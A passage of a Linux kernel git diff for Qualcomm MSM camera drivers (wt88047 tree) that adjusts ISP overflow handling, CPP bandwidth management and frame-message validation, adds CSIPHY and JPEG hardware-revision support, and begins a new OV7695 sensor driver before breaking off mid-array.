1); + vfe_dev->hw_info->vfe_ops.axi_ops.halt(vfe_dev, 1); vfe_dev->hw_info->vfe_ops.core_ops. reset_hw(vfe_dev, ISP_RST_HARD, 1); vfe_dev->hw_info->vfe_ops.core_ops.init_hw_reg(vfe_dev); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp_axi_util.h b/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp_axi_util.h index 2314300bdbb41..e15efd70a591b 100644 --- a/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp_axi_util.h +++ b/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp_axi_util.h @@ -40,6 +40,8 @@ int msm_isp_axi_check_stream_state( void msm_isp_calculate_framedrop( struct msm_vfe_axi_shared_data *axi_data, struct msm_vfe_axi_stream_request_cmd *stream_cfg_cmd); +void msm_isp_reset_framedrop(struct vfe_device *vfe_dev, + struct msm_vfe_axi_stream *stream_info); int msm_isp_request_axi_stream(struct vfe_device *vfe_dev, void *arg); int msm_isp_cfg_axi_stream(struct vfe_device *vfe_dev, void *arg); @@ -55,4 +57,5 @@ void msm_isp_sof_notify(struct vfe_device *vfe_dev, void msm_isp_process_axi_irq(struct vfe_device *vfe_dev, uint32_t irq_status0, uint32_t irq_status1, struct msm_isp_timestamp *ts); +uint8_t msm_isp_get_curr_stream_cnt(struct vfe_device *vfe_dev); #endif /* __MSM_ISP_AXI_UTIL_H__ */ diff --git a/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp_util.c b/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp_util.c index c5a59e0b72862..8ce8592e8c25c 100644 --- a/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp_util.c +++ b/drivers/media/platform/msm/camera_wt88047_v2/isp/msm_isp_util.c @@ -339,10 +339,10 @@ static int msm_isp_get_max_clk_rate(struct vfe_device *vfe_dev, long *rate) } clk_idx = vfe_dev->hw_info->vfe_clk_idx; - if (clk_idx >= ARRAY_SIZE(vfe_dev->vfe_clk)) { + if (clk_idx >= vfe_dev->num_clk) { pr_err("%s:%d failed: clk_idx %d max array size %d\n", __func__, __LINE__, clk_idx, - ARRAY_SIZE(vfe_dev->vfe_clk)); + vfe_dev->num_clk); return -EINVAL; } @@ -752,11 +752,10 @@ static int msm_isp_send_hw_cmd(struct vfe_device *vfe_dev, vfe_dev->axi_data.src_info[VFE_PIX_0].last_updt_frm_id; if (vfe_dev->axi_data.frame_id[session_id] != *cfg_data || update_id == *cfg_data) { - pr_err("hw update lock failed,acquire id %u\n", - *cfg_data); - pr_err("hw update lock failed,current id %u\n", - vfe_dev->axi_data.frame_id[session_id]); - pr_err("hw update lock failed,last id %u\n", + pr_err("%s hw update lock failed acq %d, cur id %u, last id %u\n", + __func__, + *cfg_data, + vfe_dev->axi_data.frame_id[session_id], update_id); return -EINVAL; } @@ -767,9 +766,8 @@ static int msm_isp_send_hw_cmd(struct vfe_device *vfe_dev, vfe_dev->axi_data.src_info[VFE_PIX_0].session_id; if (vfe_dev->axi_data.frame_id[session_id] != *cfg_data) { - pr_err("hw update across frame boundary,begin id %u\n", - *cfg_data); - pr_err("hw update across frame boundary,end id %u\n", + pr_err("hw update across frame boundary,begin id %u, end id %d\n", + *cfg_data, vfe_dev->axi_data.frame_id[session_id]); } vfe_dev->axi_data.src_info[VFE_PIX_0].last_updt_frm_id = @@ -1185,6 +1183,7 @@ static inline void msm_isp_process_overflow_irq( { uint32_t overflow_mask; uint32_t halt_restart_mask0, halt_restart_mask1; + uint8_t cur_stream_cnt = 0; /*Mask out all other irqs if recovery is started*/ if (atomic_read(&vfe_dev->error_info.overflow_state) != NO_OVERFLOW) { @@ -1201,6 +1200,16 @@ static inline void msm_isp_process_overflow_irq( get_overflow_mask(&overflow_mask); overflow_mask &= *irq_status1; if (overflow_mask) { + cur_stream_cnt = msm_isp_get_curr_stream_cnt(vfe_dev); + if (cur_stream_cnt == 0) { + /* When immediate stop is issued during streamoff and + AXI bridge is halted, if write masters are still + active, then it's possible to get overflow Irq + because WM is still writing pixels into UB, but UB + has no way to write into bus. Since everything is + being stopped anyway, skip the overflow recovery */ + return; + } pr_warn("%s: Bus overflow detected: 0x%x\n", __func__, overflow_mask); atomic_set(&vfe_dev->error_info.overflow_state, @@ -1228,20 +1237,20 @@ static inline void msm_isp_reset_burst_count( int i; struct msm_vfe_axi_shared_data *axi_data = &vfe_dev->axi_data; struct msm_vfe_axi_stream *stream_info; - struct msm_vfe_axi_stream_request_cmd framedrop_info; + uint32_t framedrop_period = 0; for (i = 0; i < MAX_NUM_STREAM; i++) { stream_info = &axi_data->stream_info[i]; if (stream_info->state != ACTIVE) continue; if (stream_info->stream_type == BURST_STREAM && stream_info->num_burst_capture != 0) { - framedrop_info.burst_count = - stream_info->num_burst_capture; - framedrop_info.frame_skip_pattern = - stream_info->frame_skip_pattern; - framedrop_info.init_frame_drop = 0; - msm_isp_calculate_framedrop(&vfe_dev->axi_data, - &framedrop_info); + framedrop_period = msm_isp_get_framedrop_period( + stream_info->frame_skip_pattern); + stream_info->burst_frame_count = + stream_info->init_frame_drop + + (stream_info->num_burst_capture - 1) * + framedrop_period + 1; + msm_isp_reset_framedrop(vfe_dev, stream_info); } } } @@ -1510,10 +1519,6 @@ int msm_isp_open_node(struct v4l2_subdev *sd, struct v4l2_subdev_fh *fh) vfe_dev->axi_data.hw_info = vfe_dev->hw_info->axi_hw_info; vfe_dev->taskletq_idx = 0; vfe_dev->vt_enable = 0; - vfe_dev->p_avtimer_lsw = NULL; - vfe_dev->p_avtimer_msw = NULL; - vfe_dev->p_avtimer_ctl = NULL; - vfe_dev->avtimer_scaler = 1; /*No scaling*/ mutex_unlock(&vfe_dev->core_mutex); mutex_unlock(&vfe_dev->realtime_mutex); return 0; @@ -1560,12 +1565,8 @@ int msm_isp_close_node(struct v4l2_subdev *sd, struct v4l2_subdev_fh *fh) vfe_dev->buf_mgr->ops->buf_mgr_deinit(vfe_dev->buf_mgr); vfe_dev->hw_info->vfe_ops.core_ops.release_hw(vfe_dev); if (vfe_dev->vt_enable) { - iounmap(vfe_dev->p_avtimer_lsw); - iounmap(vfe_dev->p_avtimer_msw); - iounmap(vfe_dev->p_avtimer_ctl); msm_isp_end_avtimer(); vfe_dev->vt_enable = 0; - vfe_dev->avtimer_scaler = 1; } mutex_unlock(&vfe_dev->core_mutex); mutex_unlock(&vfe_dev->realtime_mutex); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_hw_reg.h b/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_hw_reg.h index 4fbab4b3ea712..37ab47a0bf362 100644 --- a/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_hw_reg.h +++ b/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_hw_reg.h @@ -115,6 +115,9 @@ #define JPEG_HW_VERSION (JPEG_REG_BASE + 0x00000000) +#define JPEG_FE_QOS_CFG (JPEG_REG_BASE + 0x00000028) +#define JPEG_WE_QOS_CFG (JPEG_REG_BASE + 0x000000C8) + #define VBIF_BASE_ADDRESS 0xFDA60000 #define VBIF_REGION_SIZE 0xC30 #define JPEG_VBIF_CLKON 0x4 diff --git a/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_platform.c b/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_platform.c index 1243d8b42fefc..c8846c8ba20c6 100644 --- a/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_platform.c +++ b/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_platform.c @@ -371,6 +371,13 @@ int msm_jpeg_platform_init(struct platform_device *pdev, set_vbif_params(pgmn_dev, pgmn_dev->jpeg_vbif); + if (pgmn_dev->hw_version == JPEG_8939) { + writel_relaxed(0x0000550e, + jpeg_base + JPEG_FE_QOS_CFG); + writel_relaxed(0x00005555, + jpeg_base + JPEG_WE_QOS_CFG); + } + rc = request_irq(jpeg_irq, handler, IRQF_TRIGGER_RISING, "jpeg", context); if (rc) { diff --git a/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_sync.h b/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_sync.h index 1698f17175c05..7bb16e1676666 100644 --- a/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_sync.h +++ b/drivers/media/platform/msm/camera_wt88047_v2/jpeg_10/msm_jpeg_sync.h @@ -25,6 +25,7 @@ #define JPEG_8974_V1 0x10000000 #define JPEG_8974_V2 0x10010000 +#define JPEG_8939 0x30020000 enum msm_jpeg_state { MSM_JPEG_INIT, diff --git a/drivers/media/platform/msm/camera_wt88047_v2/msm.c b/drivers/media/platform/msm/camera_wt88047_v2/msm.c index 2018f720c4405..27a3fce7af903 100644 --- a/drivers/media/platform/msm/camera_wt88047_v2/msm.c +++ b/drivers/media/platform/msm/camera_wt88047_v2/msm.c @@ -34,8 +34,6 @@ static struct v4l2_device *msm_v4l2_dev; static struct list_head ordered_sd_list; -static struct pm_qos_request msm_v4l2_pm_qos_request; - static struct msm_queue_head *msm_session_q; /* config node envent queue */ @@ -189,24 +187,6 @@ static inline int __msm_queue_find_command_ack_q(void *d1, void *d2) return (ack->stream_id == *(unsigned int *)d2) ? 1 : 0; } -static void msm_pm_qos_add_request(void) -{ - pr_info("%s: add request",__func__); - pm_qos_add_request(&msm_v4l2_pm_qos_request, PM_QOS_CPU_DMA_LATENCY, - PM_QOS_DEFAULT_VALUE); -} - -static void msm_pm_qos_remove_request(void) -{ - pr_info("%s: remove request",__func__); - pm_qos_remove_request(&msm_v4l2_pm_qos_request); -} - -void msm_pm_qos_update_request(int val) -{ - pr_info("%s: update request %d",__func__,val); - pm_qos_update_request(&msm_v4l2_pm_qos_request, val); -} struct msm_session *msm_session_find(unsigned int session_id) { @@ -816,9 +796,6 @@ static int msm_close(struct file *filep) list_for_each_entry(msm_sd, &ordered_sd_list, list) __msm_sd_close_subdevs(msm_sd, &sd_close); - /* remove msm_v4l2_pm_qos_request */ - msm_pm_qos_remove_request(); - /* send v4l2_event to HAL next*/ msm_queue_traverse_action(msm_session_q, struct msm_session, list, __msm_close_destry_session_notify_apps, NULL); @@ -875,9 +852,6 @@ static int msm_open(struct file *filep) msm_eventq = filep->private_data; spin_unlock_irqrestore(&msm_eventq_lock, flags); - /* register msm_v4l2_pm_qos_request */ - msm_pm_qos_add_request(); - return rc; } diff --git a/drivers/media/platform/msm/camera_wt88047_v2/msm.h b/drivers/media/platform/msm/camera_wt88047_v2/msm.h index 0485001a1276e..2b43a36cfd79b 100644 --- a/drivers/media/platform/msm/camera_wt88047_v2/msm.h +++ b/drivers/media/platform/msm/camera_wt88047_v2/msm.h @@ -34,9 +34,6 @@ #define MSM_POST_EVT_NOTIMEOUT 0xFFFFFFFF #define MSM_CAMERA_STREAM_CNT_BITS 32 -#define CAMERA_DISABLE_PC_LATENCY 100 -#define CAMERA_ENABLE_PC_LATENCY PM_QOS_DEFAULT_VALUE - struct msm_video_device { struct video_device *vdev; atomic_t opened; @@ -105,8 +102,6 @@ struct msm_session { struct mutex lock; }; -void msm_pm_qos_update_request(int val); - int msm_post_event(struct v4l2_event *event, int timeout); int msm_create_session(unsigned int session, struct video_device *vdev); int msm_destroy_session(unsigned int session_id); diff --git a/drivers/media/platform/msm/camera_wt88047_v2/pproc/cpp/msm_cpp.c b/drivers/media/platform/msm/camera_wt88047_v2/pproc/cpp/msm_cpp.c index 03ecb42b3016f..8028410044f26 100644 --- a/drivers/media/platform/msm/camera_wt88047_v2/pproc/cpp/msm_cpp.c +++ b/drivers/media/platform/msm/camera_wt88047_v2/pproc/cpp/msm_cpp.c @@ -92,6 +92,57 @@ static int msm_cpp_buffer_ops(struct cpp_device *cpp_dev, ((to) ? "to" : "from")) #define ERR_COPY_FROM_USER() ERR_USER_COPY(0) +/* CPP bus bandwidth definitions */ +static struct msm_bus_vectors msm_cpp_init_vectors[] = { + { + .src = MSM_BUS_MASTER_CPP, + .dst = MSM_BUS_SLAVE_EBI_CH0, + .ab = 0, + .ib = 0, + }, +}; + +static struct msm_bus_vectors msm_cpp_ping_vectors[] = { + { + .src = MSM_BUS_MASTER_CPP, + .dst = MSM_BUS_SLAVE_EBI_CH0, + .ab = 0, + .ib = 0, + }, +}; + +static struct msm_bus_vectors msm_cpp_pong_vectors[] = { + { + .src = MSM_BUS_MASTER_CPP, + .dst = MSM_BUS_SLAVE_EBI_CH0, + .ab = 0, + .ib = 0, + }, +}; + + + +static struct msm_bus_paths msm_cpp_bus_client_config[] = { + { + ARRAY_SIZE(msm_cpp_init_vectors), + msm_cpp_init_vectors, + }, + { + ARRAY_SIZE(msm_cpp_ping_vectors), + msm_cpp_ping_vectors, + }, + { + ARRAY_SIZE(msm_cpp_pong_vectors), + msm_cpp_pong_vectors, + }, +}; + +static struct msm_bus_scale_pdata msm_cpp_bus_scale_data = { + msm_cpp_bus_client_config, + ARRAY_SIZE(msm_cpp_bus_client_config), + .name = "msm_camera_cpp", +}; + #define msm_dequeue(queue, member) ({ \ unsigned long flags; \ struct msm_device_queue *__q = (queue); \ @@ -122,6 +173,57 @@ struct msm_cpp_timer_t { struct msm_cpp_timer_t cpp_timer; +static int msm_cpp_init_bandwidth_mgr(struct cpp_device *cpp_dev) +{ + int rc = 0; + + cpp_dev->bus_client = + msm_bus_scale_register_client(&msm_cpp_bus_scale_data); + if (!cpp_dev->bus_client) { + pr_err("Fail to register bus client\n"); + return -ENOENT; + } + + rc = msm_bus_scale_client_update_request(cpp_dev->bus_client, 1); + if (rc < 0) { + pr_err("Fail bus scale update %d\n", rc); + return -EINVAL; + } + cpp_dev->bus_idx = 1; + + return 0; +} + +static int msm_cpp_update_bandwidth(struct cpp_device *cpp_dev, + uint64_t ab, uint64_t ib) +{ + + int rc; + struct msm_bus_paths *path; + + path = &(msm_cpp_bus_scale_data.usecase[cpp_dev->bus_idx]); + path->vectors[0].ab = ab; + path->vectors[0].ib = ib; + + rc = msm_bus_scale_client_update_request(cpp_dev->bus_client, + cpp_dev->bus_idx); + if (rc < 0) { + pr_err("Fail bus scale update %d\n", rc); + return -EINVAL; + } + cpp_dev->bus_idx = 3 - cpp_dev->bus_idx; + + return 0; +} + +void msm_cpp_deinit_bandwidth_mgr(struct cpp_device *cpp_dev) +{ + if (cpp_dev->bus_client) { + msm_bus_scale_unregister_client(cpp_dev->bus_client); + cpp_dev->bus_client = 0; + } +} + static void msm_queue_init(struct msm_device_queue *queue, const char *name) { CPP_DBG("E\n"); @@ -697,7 +799,11 @@ static void cpp_get_clk_freq_tbl(struct clk *clk, struct cpp_hw_info *hw_info) static int cpp_init_hardware(struct cpp_device *cpp_dev) { int rc = 0; - rc = msm_isp_init_bandwidth_mgr(ISP_CPP); + + if (cpp_dev->bus_master_flag) + rc = msm_cpp_init_bandwidth_mgr(cpp_dev); + else + rc = msm_isp_init_bandwidth_mgr(ISP_CPP); if (rc < 0) { pr_err("%s: Bandwidth registration Failed!\n", __func__); goto bus_scale_register_failed; @@ -856,7 +962,10 @@ static int cpp_init_hardware(struct cpp_device *cpp_dev) regulator_disable(cpp_dev->fs_cpp); regulator_put(cpp_dev->fs_cpp); fs_failed: - msm_isp_deinit_bandwidth_mgr(ISP_CPP); + if (cpp_dev->bus_master_flag) + msm_cpp_deinit_bandwidth_mgr(cpp_dev); + else + msm_isp_deinit_bandwidth_mgr(ISP_CPP); bus_scale_register_failed: return rc; } @@ -886,10 +995,16 @@ static void cpp_release_hardware(struct cpp_device *cpp_dev) cpp_dev->fs_cpp = NULL; if (cpp_dev->stream_cnt > 0) { pr_err("error: stream count active\n"); - msm_isp_update_bandwidth(ISP_CPP, 0, 0); + if (cpp_dev->bus_master_flag) + rc = msm_cpp_update_bandwidth(cpp_dev, 0, 0); + else + rc = msm_isp_update_bandwidth(ISP_CPP, 0, 0); } cpp_dev->stream_cnt = 0; - msm_isp_deinit_bandwidth_mgr(ISP_CPP); + if (cpp_dev->bus_master_flag) + msm_cpp_deinit_bandwidth_mgr(cpp_dev); + else + msm_isp_deinit_bandwidth_mgr(ISP_CPP); } static void cpp_load_fw(struct cpp_device *cpp_dev, char *fw_name_bin) @@ -1402,6 +1517,16 @@ static int msm_cpp_cfg(struct cpp_device *cpp_dev, } new_frame->cpp_cmd_msg = cpp_frame_msg; + if (cpp_frame_msg == NULL || + (new_frame->msg_len < MSM_CPP_MIN_FRAME_LENGTH)) { + pr_err("%s %d Length is not correct or frame message is missing\n", + __func__, __LINE__); + return -EINVAL; + } + if (cpp_frame_msg[new_frame->msg_len - 1] != MSM_CPP_MSG_ID_TRAILER) { + pr_err("%s %d Invalid frame message\n", __func__, __LINE__); + return -EINVAL; + } in_phyaddr = msm_cpp_fetch_buffer_info(cpp_dev, &new_frame->input_buffer_info, @@ -1492,6 +1617,12 @@ static int msm_cpp_cfg(struct cpp_device *cpp_dev, goto ERROR3; } + if ((stripe_base + num_stripes*27 + 1) != new_frame->msg_len) { + pr_err("Invalid frame message\n"); + rc = -EINVAL; + goto ERROR3; + } + for (i = 0; i < num_stripes; i++) { cpp_frame_msg[stripe_base + 5 + i*27] += (uint32_t) in_phyaddr; @@ -1776,7 +1907,12 @@ long msm_cpp_subdev_ioctl(struct v4l2_subdev *sd, cpp_dev->stream_cnt--; pr_info("stream_cnt:%d\n", cpp_dev->stream_cnt); if (cpp_dev->stream_cnt == 0) { - rc = msm_isp_update_bandwidth(ISP_CPP, 0, 0); + if (cpp_dev->bus_master_flag) + rc = msm_cpp_update_bandwidth(cpp_dev, + 0, 0); + else + rc = msm_isp_update_bandwidth(ISP_CPP, + 0, 0); if (rc < 0) pr_err("Bandwidth Reset Failed!\n"); cpp_dev->state = CPP_STATE_IDLE; @@ -1846,12 +1982,22 @@ long msm_cpp_subdev_ioctl(struct v4l2_subdev *sd, } if (clock_settings.clock_rate > 0) { - rc = msm_isp_update_bandwidth(ISP_CPP, - clock_settings.avg, - clock_settings.inst); + if (cpp_dev->bus_master_flag) + rc = msm_cpp_update_bandwidth(cpp_dev, + clock_settings.avg, + clock_settings.inst); + else + rc = msm_isp_update_bandwidth(ISP_CPP, + clock_settings.avg, + clock_settings.inst); if (rc < 0) { pr_err("Bandwidth Set Failed!\n"); - msm_isp_update_bandwidth(ISP_CPP, 0, 0); + if (cpp_dev->bus_master_flag) + rc = msm_cpp_update_bandwidth(cpp_dev, + 0, 0); + else + rc = msm_isp_update_bandwidth(ISP_CPP, + 0, 0); mutex_unlock(&cpp_dev->mutex); return -EINVAL; } @@ -2219,6 +2365,12 @@ static int cpp_probe(struct platform_device *pdev) pr_err("msm_cpp_get_clk_info() failed\n"); goto ERROR3; } + if (pdev->dev.of_node) + rc = of_property_read_u32(pdev->dev.of_node,"bus_master", + &cpp_dev->bus_master_flag); + if (rc) + cpp_dev->bus_master_flag = 0; + pr_err("Bus master %d \n",cpp_dev->bus_master_flag); media_entity_init(&cpp_dev->msm_sd.sd.entity, 0, NULL, 0); cpp_dev->msm_sd.sd.entity.type = MEDIA_ENT_T_V4L2_SUBDEV; diff --git a/drivers/media/platform/msm/camera_wt88047_v2/pproc/cpp/msm_cpp.h b/drivers/media/platform/msm/camera_wt88047_v2/pproc/cpp/msm_cpp.h index 3085528400604..54e3dec41ca56 100644 --- a/drivers/media/platform/msm/camera_wt88047_v2/pproc/cpp/msm_cpp.h +++ b/drivers/media/platform/msm/camera_wt88047_v2/pproc/cpp/msm_cpp.h @@ -230,5 +230,8 @@ struct cpp_device { struct msm_cpp_buff_queue_info_t *buff_queue; uint32_t num_buffq; struct v4l2_subdev *buf_mgr_subdev; + uint32_t bus_client; + uint32_t bus_idx; + uint32_t bus_master_flag; }; #endif /* __MSM_CPP_H__ */ diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/Makefile b/drivers/media/platform/msm/camera_wt88047_v2/sensor/Makefile index ee9e7b55b2151..241a04dcb1464 100644 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/Makefile +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/Makefile @@ -16,5 +16,6 @@ obj-$(CONFIG_HI256) += hi256.o obj-$(CONFIG_OV5648) += ov5648.o obj-$(CONFIG_MT9M114) += mt9m114.o obj-$(CONFIG_MT9M114) += ov5645.o +obj-$(CONFIG_MT9M114) += ov7695.o obj-$(CONFIG_SP1628) += sp1628.o obj-$(CONFIG_GC0339) += gc0339.o diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/cci/msm_cci.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/cci/msm_cci.c index 737b030794b9d..1a003f7c066b8 100644 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/cci/msm_cci.c +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/cci/msm_cci.c @@ -46,7 +46,6 @@ #define CCI_I2C_READ_MAX_RETRIES 3 #define CCI_I2C_MAX_READ 8192 #define CCI_I2C_MAX_WRITE 8192 -#define CCI_NUM_CLK_MAX 16 static struct v4l2_subdev *g_cci_subdev; diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/cci/msm_cci.h b/drivers/media/platform/msm/camera_wt88047_v2/sensor/cci/msm_cci.h index f2af03ca08810..83c9c86ac9d36 100644 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/cci/msm_cci.h +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/cci/msm_cci.h @@ -34,6 +34,7 @@ #define CCI_PINCTRL_STATE_DEFAULT "cci_default" #define CCI_PINCTRL_STATE_SLEEP "cci_suspend" +#define CCI_NUM_CLK_MAX 16 enum cci_i2c_queue_t { QUEUE_0, @@ -138,7 +139,7 @@ struct cci_device { enum msm_cci_state_t cci_state; uint32_t num_clk; - struct clk *cci_clk[5]; + struct clk *cci_clk[CCI_NUM_CLK_MAX]; struct msm_camera_cci_i2c_queue_info cci_i2c_queue_info[NUM_MASTERS][NUM_QUEUES]; struct msm_camera_cci_master_info cci_master_info[NUM_MASTERS]; diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/msm_csid.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/msm_csid.c index 73d74bb6ecc98..2c5e357a27568 100644 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/msm_csid.c +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csid/msm_csid.c @@ -31,6 +31,7 @@ #define CSID_VERSION_V31_1 0x30010001 #define CSID_VERSION_V32 0x30020000 #define CSID_VERSION_V33 0x30030000 +#define CSID_VERSION_V34 0x30040000 #define CSID_VERSION_V40 0x40000000 #define MSM_CSID_DRV_NAME "msm_csid" @@ -388,7 +389,8 @@ static int msm_csid_release(struct csid_device *csid_dev) NULL, 0, &csid_dev->csi_vdd, 0); } else if ((csid_dev->hw_version == CSID_VERSION_V31) || (csid_dev->hw_version == CSID_VERSION_V32) || - (csid_dev->hw_version == CSID_VERSION_V33)) { + (csid_dev->hw_version == CSID_VERSION_V33) || + (csid_dev->hw_version == CSID_VERSION_V34)) { msm_cam_clk_enable(&csid_dev->pdev->dev, csid_clk_info, csid_dev->csid_clk, csid_dev->num_clk, 0); msm_camera_enable_vreg(&csid_dev->pdev->dev, diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/include/msm_csiphy_3_1_hwreg.h b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/include/msm_csiphy_3_1_hwreg.h index c80a7c748fc61..a08d95fde94c1 100644 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/include/msm_csiphy_3_1_hwreg.h +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/include/msm_csiphy_3_1_hwreg.h @@ -1,4 +1,4 @@ -/* Copyright (c) 2014, The Linux Foundation. All rights reserved. +/* Copyright (c) 2014-2015, The Linux Foundation. All rights reserved. * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 and @@ -15,6 +15,8 @@ #include "msm_csiphy.h" +#define MIPI_CSIPHY_GLBL_PWG_CFG0_OFFSET 0x1FC + struct csiphy_reg_parms_t csiphy_v3_1 = { /*MIPI CSI PHY registers*/ 0x0, diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/msm_csiphy.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/msm_csiphy.c index 69f0b2d1a2916..5eb134b3f9229 100644 --- a/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/msm_csiphy.c +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/csiphy/msm_csiphy.c @@ -17,6 +17,7 @@ #include #include #include +#include #include "msm_csiphy.h" #include "msm_sd.h" #include "msm_camera_io_util.h" @@ -27,6 +28,7 @@ #include "include/msm_csiphy_3_2_hwreg.h" #define DBG_CSIPHY 0 +#define SOC_REVISION_3 0x30000 #define V4L2_IDENT_CSIPHY 50003 #define CSIPHY_VERSION_V22 0x01 @@ -45,6 +47,7 @@ #define CDBG(fmt, args...) do { } while (0) #endif static struct msm_cam_clk_info csiphy_clk_info[CSIPHY_NUM_CLK_MAX]; +uint32_t is_3_1_rev3 = 0; static int msm_csiphy_lane_config(struct csiphy_device *csiphy_dev, struct msm_camera_csiphy_params *csiphy_params) @@ -119,6 +122,11 @@ static int msm_csiphy_lane_config(struct csiphy_device *csiphy_dev, csiphybase + csiphy_dev->ctrl_reg-> csiphy_reg.mipi_csiphy_interrupt_clear0_addr); } else { + if ((csiphy_dev->hw_version == CSIPHY_VERSION_V31) && + is_3_1_rev3) { + msm_camera_io_w(0x01, csiphybase + + MIPI_CSIPHY_GLBL_PWG_CFG0_OFFSET); + } val = 0x1; msm_camera_io_w((lane_mask << 1) | val, csiphybase + @@ -453,6 +461,10 @@ static int msm_csiphy_release(struct csiphy_device *csiphy_dev, void *arg) csi_lane_mask >>= 1; i++; } + if ((csiphy_dev->hw_version == CSIPHY_VERSION_V31) && + is_3_1_rev3) + msm_camera_io_w(0x00, csiphy_dev->base + + MIPI_CSIPHY_GLBL_PWG_CFG0_OFFSET); } if (--csiphy_dev->ref_count) { @@ -536,6 +548,10 @@ static int msm_csiphy_release(struct csiphy_device *csiphy_dev, void *arg) csi_lane_mask >>= 1; i++; } + if ((csiphy_dev->hw_version == CSIPHY_VERSION_V31) && + is_3_1_rev3) + msm_camera_io_w(0x00, csiphy_dev->base + + MIPI_CSIPHY_GLBL_PWG_CFG0_OFFSET); } if (--csiphy_dev->ref_count) { @@ -854,6 +870,9 @@ static struct platform_driver csiphy_driver = { static int __init msm_csiphy_init_module(void) { + if (early_machine_is_msm8939()) + if (socinfo_get_version() == SOC_REVISION_3) + is_3_1_rev3 = 1; return platform_driver_register(&csiphy_driver); } diff --git a/drivers/media/platform/msm/camera_wt88047_v2/sensor/ov7695.c b/drivers/media/platform/msm/camera_wt88047_v2/sensor/ov7695.c new file mode 100644 index 0000000000000..88bb51ebf0912 --- /dev/null +++ b/drivers/media/platform/msm/camera_wt88047_v2/sensor/ov7695.c @@ -0,0 +1,679 @@ +/* Copyright (c) 2014, The Linux Foundation. All rights reserved. + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 and + * only version 2 as published by the Free Software Foundation. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + */ +#include "msm_sensor.h" +#include "msm_cci.h" +#include "msm_camera_io_util.h" +#define OV7695_SENSOR_NAME "ov7695" +#define PLATFORM_DRIVER_NAME "msm_camera_ov7695" +#define ov7695_obj ov7695_##obj + +/*#define CONFIG_MSMB_CAMERA_DEBUG*/ +#undef CDBG +#ifdef CONFIG_MSMB_CAMERA_DEBUG +#define CDBG(fmt, args...) pr_err(fmt, ##args) +#else +#define CDBG(fmt, args...) do { } while (0) +#endif + + +DEFINE_MSM_MUTEX(ov7695_mut); +static struct msm_sensor_ctrl_t ov7695_s_ctrl; + +static struct msm_sensor_power_setting ov7695_power_setting[] = { + { + .seq_type = SENSOR_GPIO, + .seq_val = SENSOR_GPIO_STANDBY, + .config_val = GPIO_OUT_LOW, + .delay = 0, + }, + { + .seq_type = SENSOR_GPIO, + .seq_val = SENSOR_GPIO_RESET, + .config_val = GPIO_OUT_LOW, + .delay = 10, + }, + { + .seq_type = SENSOR_VREG, + .seq_val = CAM_VAF, + .config_val = 0, + .delay = 5, + }, + { + .seq_type = SENSOR_VREG, + .seq_val = CAM_VIO, + .config_val = 0, + .delay = 5, + }, + { + .seq_type = SENSOR_VREG, + .seq_val = CAM_VANA, + .config_val = 0, + .delay = 0, + }, + { + .seq_type = SENSOR_GPIO, + .seq_val = SENSOR_GPIO_STANDBY, + .config_val = GPIO_OUT_HIGH, + .delay = 5, + }, + { + .seq_type = SENSOR_GPIO, + .seq_val = SENSOR_GPIO_RESET, + .config_val = GPIO_OUT_HIGH, + .delay = 10, + }, + { + .seq_type = SENSOR_CLK, + .seq_val = SENSOR_CAM_MCLK, + .config_val = 24000000, + .delay = 10, + }, + { + .seq_type = SENSOR_I2C_MUX, + .seq_val = 0, + .config_val = 0, + .delay = 0, + }, +}; + +static struct msm_camera_i2c_reg_conf ov7695_vga_settings[] = { + {0x3630, 0x79,}, +}; + +static struct msm_camera_i2c_reg_conf ov7695_recommend_settings[] = { + {0x0103, 0x01,}, + {0x0100, 0x01,}, + {0x3620, 0x2f,}, + {0x3623, 0x12,}, + {0x3718, 0x88,}, + {0x3703, 0x80,}, + {0x3712, 0x40,}, + 